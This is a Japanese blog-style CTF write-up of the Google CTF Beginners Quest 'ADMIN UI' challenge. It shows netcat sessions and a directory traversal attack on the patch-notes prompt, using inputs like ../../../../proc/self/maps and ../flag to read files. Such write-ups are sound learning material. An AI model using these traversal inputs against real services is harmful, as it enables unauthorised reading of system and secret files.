Google CTF : Beginners Quest : ADMIN UI
間違っているところや改善点があったらコメントして欲しい。
解説
今回は"Google CTF : Beginners Quest : ADMIN UI"を解いていく。管理者UIのバグをついてフラッグを見つけろ、みたいな問題。
一先ず、問題のところに接続してみた。以下のようになっていて1を選だら、パスワードを求められ、2を選べばバージョン0.3または、0.2どちらかを指定して、EULAとパッチノートが見れる。3で終了出来る。
$ nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
1
Please enter the backdoo^Wservice password:
hello
Incorrect, the authorities have been informed!
$ nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Version0.2
- Version0.3
Which patchnotes should be shown?
Version0.2
# Release 0.2
- Updated library X to version 0.Y
- Fixed path traversal bug
- Improved the UX
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
3
外部からのパラメータにウェブサーバー内のファイル名を直接指定しているので、"ディレクトリトラバーサル"が通りそうだ。やってみる。入力するのは../../../../proc/self/exeや、../../../../../proc/self/mapsといった感じだ。
他にも色々な仮想ファイルが覗ける。詳しく書いてあるサイトがあったので紹介しておく。 /proc ‐ 通信用語の基礎知識
今回はフラッグを探すので../flagというディレクトリにあると思われるので入力してみた。
$ nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
2
The following patchnotes were found:
- Version0.2
- Version0.3
Which patchnotes should be shown?
../flag
CTF{・・・・・・}
やはりCTF{・・・・}が出てきた。今回のフラッグだ。伏字にしているが実行してもらえればわかると思う。
終わりに
ディレクトリトラバーサルという名前は知っていたが、実際どんな感じのものなのか詳しく知れたので良かった。
参考にした動画(Google CTF: Beginner Quest: ADMIN UI (Local File Inclusion) - YouTube)
個人的に気になったら調べておくといいかもなワード